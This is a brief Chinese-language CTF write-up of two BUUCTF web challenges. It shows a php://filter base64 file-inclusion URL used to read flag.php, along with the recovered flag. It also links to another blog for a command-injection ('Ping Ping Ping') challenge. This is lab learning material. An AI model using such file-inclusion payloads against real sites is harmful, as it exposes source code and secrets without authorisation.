BUUCTF WEB INCLUDE
进去之后看到的是这样的,然后点击链接,
在这里试一下php伪协议,构造URL为
http://1ec44303-73b4-47c1-b74e-764c7f147d6f.node3.buuoj.cn/?file=php://filter/convert.base64-encode/resource=flag.php
得到
拿去解压之后可以达到:
<?php
echo "Can you find out the flag?";
//flag{672214de-1798-43ce-b8c9-bfd17239bc9a}
就这样得到了FLAG
BUUCTF WEB Ping Ping Ping
这个题考的东西我也是第一次见,然后看了别人的WP,我觉得我写不出比他还好的博客,所以这里推荐一下:
转载:
博主:风过江南乱
链接:https://blog.csdn.net/TM_1024/article/details/106890338?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522159793861519724839231818%2522%252C%2522scm%2522%253A%252220140713.130102334…%2522%257D&request_id=159793861519724839231818&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allfirst_rank_ecpm_v3~pc_rank_v3-1-106890338.pc_ecpm_v3_pc_rank_v3&utm_term=BUUCTF+WEB+PINGPINGPING&spm=1018.2118.3001.4187
来源:CSDN
这个博主讲了三种方法,都比较详细,感觉第一种最容易理解,后面两种要点LINUX知识,当作积累吧。